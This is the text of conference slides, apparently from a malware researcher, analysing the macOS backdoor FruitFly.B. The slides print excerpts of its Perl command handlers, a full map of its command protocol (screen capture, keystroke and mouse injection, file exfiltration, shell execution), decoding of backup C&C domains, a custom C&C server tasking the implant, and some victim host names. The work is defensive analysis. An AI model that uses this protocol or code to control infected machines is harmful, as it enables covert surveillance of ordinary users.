response provides no insight into command :(




...and action!


# COMMAND #8

...that second byte?

task away:



```
cmd #8, 0 (123,456)  
cmd #8, 1 (123,456)  
cmd #8, 2 (123,456)  
...  
cmd #8, 7 (123,456)
```



sub-cmd	description
0	move
1	left click (up & down)
2	left click (up & down)
3	left double click
4	left click (down)
5	left click (up)
6	right click (down)
7	right click (up)

command #8, sub commands




note that:

→ mouse is moved,  
then action

→ down (#4) +  
then move (#0) +  
then up events (#5) = 'drag'

```
# ./sniff  
  
event: kCGEventLeftMouseDown  
(x: 123.000000, y: 456.000000)  
  
event: kCGEventLeftMouseDragged  
(x: 0.000000, y: 0.000000)  
  
event: kCGEventLeftMouseUp  
(x: 0.000000, y: 0.000000)
```




...and action!

# COMMAND #12

## all things files

```
#command 12
elsif ( $D == 12 ) {
    #recv 1 byte
    my $Z = ord J 1;
    my ( $S, $P ) = ( H, '' );
    if ( $Z == 0 ) { $P = K( -e $S ) }
    elsif ( $Z == 4 ) { $P = Y( -s $S ) }
    ...
    G v12 . chr($Z) . Z($S) . $P;
}
```

### command #12



```
# fs_usage -w -f filesystem | grep perl
stat64 [ 2] foo perl5
stat64 [ 2] /tmp perl5
```

### file i/o events

direction	size	value
recv	1 byte	command, 12
recv	1 byte	?
recv	variable	?
send	1	command, 12
send	1 byte	? (same as recv)
send	variable	? (same as recv)
send	variable	result

### command #12's protocol

```
$ python server.py 1337
...
client connected: '192.168.0.13'
selected command: 12
sending command 12 with 0 & 'foo'

response:
byte: 12 (command)
string: 'foo'
byte: 0
```

```
selected command: 12
sending command 12 with 0 & '/tmp'
```

```
response:
byte: 12 (command)
string: '/tmp'
byte: 1
```

### tasking (command #12)

{ 1st: 'foo'  
{ 2nd: '/tmp'

# COMMAND #12

## all things files

task away:



```
cmd #12, 0 ('/tmp/foo')
cmd #12, 1 ('/tmp/foo')
...
cmd #12, 9 ('/tmp/foo')
```



sub-cmd	description
0	exist?
1	delete
2	rename (move)
3	copy
4	size of
5	not implemented
6	read
7	write
8	attributes ('ls -a')
9	attributes ('ls -al')

command #12, sub commands



```
# fs_usage -w -f filesystem | grep perl
unlink  /tmp/foo    perl5
```


sub-command #1 (delete)



```
# fs_usage -w -f filesystem | grep perl
open   F=5      (_WC_T_)      /tmp/foo    perl5
lseek   F=5      <SEEK_CUR>      perl5
write   F=5      B=0x3          perl5
close   F=5          0            perl5
```

sub-command #7 (write)

```
# procMonitor
new process:
pid=3248
path=/bin/ls
args=(-al, '/tmp/foo')
```



```
$ python server.py 1337
```

```
sending command 12 with 9 & '/tmp'
response:
byte: 12 (command)
string: 'lrwxr-xr-x@ 1 root wheel
11 Sep 22 2016 /tmp -> private/tmp'
```

sub-command #9 ('ls -al')

# COMMAND #16/17

## keyboard events

```
#command 16 / 17
elseif ( $D == 16 || $D == 17 ) {

    #recv 1 byte
    my $z = J 1;
    G(v0.23)
    if V( chr($D) . $z );
}
```

command #16/17



nothing...  
no bytes sent



file write  
/tmp/client



proc exec  
/tmp/client



keyboard events

direction	size	value
recv	1 byte	command, 16    17
recv	1 byte	?
send	2 bytes	0, 23 (only error)

command #16/17's protocol

```
# sniff
event: kCGEventKeyDown
keycode: 0x0/'a'
```

cmd #16, 65

```
# sniff
event: kCGEventKeyUp
keycode: 0x0/'a'
```

















cmd #17, 65

task away:

cmd #16, 0  
cmd #16, 1

...  
cmd #16, 65

cmd #17, 65



# COMMAND #47

## network 'scanner'


```
#command 47
elsif ( $D == 47 )
{
    my ( $A, $a, $F ) = ( 0, N, O );
    $a = 'localhost' if !length $a;
    my $C = new IO::Socket::INET(
        PeerAddr => $a,
        PeerPort => $F,
        Proto     => 'tcp',
        Timeout   => 2 );
    if ( !$C ) {
        ...
        $A = ... || 1;
    }
    else { close $C }
    G v47 . Z($a) . Y($F) . Y($A);
}
```

command #47




direction	size	value
recv	1 byte	command, 47
recv	variable length string	?
recv	4 byte integer	?
send	1 byte	command, 47
send	variable length string	?, but same as recv'd
send	4 byte integer	?, but same as recv'd
send	4 byte integer	0, or 1?

command #47's protocol



cmd 47  
(host?, port)



# COMMAND #47

## network 'scanner'

```
$ python server.py 1337
...
selected command: 47
enter address: 't2.fi'
enter port: 80

response:
byte: 47 (command)
string: 't2.fi' (host)
int: 80 (port)
byte: 0
```

tasking (command #47)

```
$ python server.py 1337
...
selected command: 47
enter address: 'hostthatdoesnotexist.com'
enter port: 666

response:
byte: 47 (command)
string: 'hostthatdoesnotexist.com' (host)
int: 666 (port)
byte: 1
```

tasking (command #47)



cmd 47  
('t2.fi' 80)



```
# tcpdump
192.168.0.13.57630 > dns-cac-lb-02.rr.com.domain: 6274+ A?
t2.fi. (35)

dns-cac-lb-02.rr.com.domain > 192.168.0.13.57630: 6274 1/0/0 A 54.192.136.237 (51)
192.168.0.13.50144 > 54.192.136.237.http: Flags [S], seq 2251655782, win 65535,
options [mss 1460,nop,wscale 5,nop,nop,TS val 998221470 ecr 0,sackOK,eol],
length 0

54.192.136.237.http > 192.168.0.13.50144: Flags [S.], seq 862538018, ack
2251655783, win 14480, options [mss 1460,sackOK,TS val 857332517 ecr
998221470,nop,wscale 8], length 0

192.168.0.13.50144 > 54.192.136.237.http: Flags [.], ack 1, win 4117, options
[nop,nop,TS val 998221670 ecr 857332517], length 0

192.168.0.13.50144 > 54.192.136.237.http: Flags [F.], seq 1, ack 1, win 4117,
options [nop,nop,TS val 998221670 ecr 857332517], length 0

54.192.136.237.http > 192.168.0.13.50144: Flags [F.], seq 1, ack 2, win 57,
options [nop,nop,TS val 857332719 ecr 998221670], length 0

192.168.0.13.50144 > 54.192.136.237.http: Flags [.], ack 2, win 4117, options
[nop,nop,TS val 998221871 ecr 857332719], length 0
```

tcpdump (dns request, then connection)



{ 0: connection ok  
1: connection failed




# COMMANDS

## osx/fruitfly.b; fully deconstructed :)


cmd	sub-cmd	description
0		do nothing
2		screen capture (PNG, JPEG, etc)
3		screen bounds
4		host uptime
6		evaluate perl statement
7		mouse location
8		mouse action
	0	move mouse
	1	left click (up & down)
	2	left click (up & down)
	3	left double click
	4	left click (down)
	5	left click (up)
	6	right click (down)
	7	right click (up)
11		working directory
12		file action
	0	does file exist?
	1	delete file
	2	rename (move) file
	3	copy file
	4	size of file
	5	not implemented
	6	read & exfiltrate file
	7	write file
	8	file attributes (ls -a)
	9	file attributes (ls -al)

cmd	sub-cmd	description
13		malware's script location
14		execute command in background
16		key down
17		key up
19		kill malware's process
21		process list
22		kill proces
26		read string (command not fully implemented?)
27		directory actions
	0	do nothing
	2	directory listing
29		read byte (command not fully implemented?)
30		reset connection to trigger reconnect
35		get host by name
43		string' action
	'alert'	set alert to trigger when user is active
	'scrn'	toggle method of screen capture
	'vers'	malware version
	<string>	execute shell command
47		connect to host



# TRAPPING FRUIT FLIES

let's play a little game



# ABOUT THOSE BACKUP C&C SERVERS

oh wow; they are available!

```
#decode c&c backup servers
for my $B ( split '/a/, M('1fg7kkblnnhokb71jrmkb;rm`;kb...') )
{
    push @e, map $_ . $B, split '/a/, M('dql-lws1k-bdq1...'));
}
```

backup c&c servers
hxxxxxx.hopto.org
hxxxxxx.duckdns.org
fxxxxxxx.hopto.org
fxxxxxxx.duckdns.org
fxxxxxxx.hopto.org
fxxxxxxx.duckdns.org



{

primary c&c servers are all taken  
...and are offline

addresses of backup servers, all available

```
$ ping eidk.hopto.org
```

```
PING eidk.hopto.org
(127.0.0.1) : 56 data bytes
```

primary; 'offline'


The screenshot shows the No-IP website's "Create Your Free Hostname Now" page. A user has entered "h" followed by a blacked-out segment and ".hopto.org" into the domain input field. A green "Sign Up" button is visible. Below the input fields, a message box displays "Hooray, that address is available!" in green text. The No-IP logo is at the top left, and a navigation bar with links for Dynamic DNS, Managed DNS, Domains, Services, Why Us?, Support, and Sign In/Up is at the top right.

# ANYBODY THERE?

## register c&c server


' hxxxxxx.hopto.org '  
' fxxxxxxx.hopto.org '

• • •



# register

2



# start custom c&c server

3

... yikes



# User name & computer name



# Geolocation

400 victims  
in ~2 days)



# now involved

# ANYBODY THERE? the victims of fruitfly





~90% located in the US/Canada  
... 20%+ of those, in Ohio

```
$ grep -i -E 'family|mom' victims.txt
user name: (28, 'Family')
host name: (13, '████████-familys-imac-438')
host name: (13, 'Moms-MacBook-Pro')
```

victims are (all?) everyday ppl


# TARGET & FEATURES

can reveal the purpose of the malware



fruitfly (a & b)


targets:  
cybercrime  
features:  
nationstate



designed to spy on  
'everyday' people  
...for perverse reasons

# CONCLUSIONS

wrapping this up




# ANALYZING OSX/FRUITFLY.B

## ...just by asking the right questions




2 tasked:  
the malware

3 observed:  
the malware's response



1 built:  
custom C&C server

results:



eidk.hopto.org



hxxxxxx.hopto.org

# GENERIC DETECTION

## buzz off FruitFly :)

2017-01-31 16:54:15 0/54

2017-01-31 22:02:28 0/53

2017-02-01 15:02:04 0/53

2017-02-01 21:04:43 0/54

2017-02-02 04:27:03 0/54

2017-02-02 14:11:35 0/54

law enforcement 'confirms' this




"the age of some of the code, which could potentially suggest that this malware goes back decades" -malwarebytes

initially undetected


'traditional' AV known limitations:

- ↳ ✗ only detect known samples
- ↳ ✗ trivial to bypass



# GENERICALLY DETECTING FRUITFLY

## buzz off FruitFly :)



BlockBlock: persistence (runtime)

while(true){  
 {  
 watch for persistent file-system events  
 alert the user  
 }  
}

'autoruns' for macOS

The screenshot shows the KnockKnock application interface. At the top right is the title 'KnockKnock' and version '1.9.0'. In the center is a large play button labeled 'Start Scan'. On the left, there are three sections: 'Launch Items' (6 items), 'Library Inserts' (0 items), and 'Login Items' (0 items). On the right, a list of persistence items is shown with their names, paths, and VirusTotal scores:

Name	Path	VirusTotal Score	Actions
fpsaud	/Users/user/fpsaud /Users/user/Library/LaunchAgents/com.client.client.plist	19/56	virustotal info show
BlockBlock	/Library/Objective-See/BlockBlock/BlockBlock.app/Contents/MacOS/BlockBlock /Library/LaunchDaemons/com.objectiveSee.blockblock.plist	0/56	virustotal info show
vmware-tools-daemon	/Library/Application Support/VMware Tools/vmware-tools-daemon /Library/LaunchDaemons/com.vmware.launchd.tools.plist	0/57	virustotal info show

"Malware Persistence on OS X"  
[RSA 2015, wardle]

KnockKnock: persistence

# GENERICALLY DETECTING FRUITFLY

## buzz off FruitFly :)




```
while(true){  
    register for OS notifications  
    for mic & webcam  
    ! alert the user}
```



OverSight: mic/webcam



LuLu: network traffic



open-source :)

LIKE FREE TOOLS?  
and 0days & malware analysis?



support it :)  
[www.patreon.com/objective\\_see](https://www.patreon.com/objective_see)


Objective-See

products malware blog about

*"providing visibility  
to the core"*



TaskExplorer




OverSight



KnockKnock



BlockBlock



KextViewr




RansomWhere?



Ostiarius

# QUESTIONS & ANSWERS

contact me any time :)



@patrickwardle


patrick@synack.com

speakerdeck.com/patrickwardle



Objective-See

patreon.com/objective\_see



Synack



join the red team!

www.synack.com/red-team

# CREDITS

mahalo :)



images

- FLATICON.COM
- ICONMONSTR.COM
- ICONEXPERIENCE.COM
- [HTTP://WIRDOU.COM/2012/02/04/IS-THE-BAD-DOCTOR/](http://WIRDOU.COM/2012/02/04/IS-THE-BAD-DOCTOR/)
- [HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG](http://TH07.DEVIANTART.NET/FS70/PRE/F/2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG)



resources

- [HTTPS://BLOG.MALWAREBYTES.COM/THREAT-ANALYSIS/2017/01/NEW-MAC-BACKDOOR-USING-ANTIQUATED-CODE/](https://BLOG.MALWAREBYTES.COM/THREAT-ANALYSIS/2017/01/NEW-MAC-BACKDOOR-USING-ANTIQUATED-CODE/)
- [HTTP://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERMOUSE/](http://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERMOUSE/)
- [HTTP://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERKEYS/](http://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERKEYS/)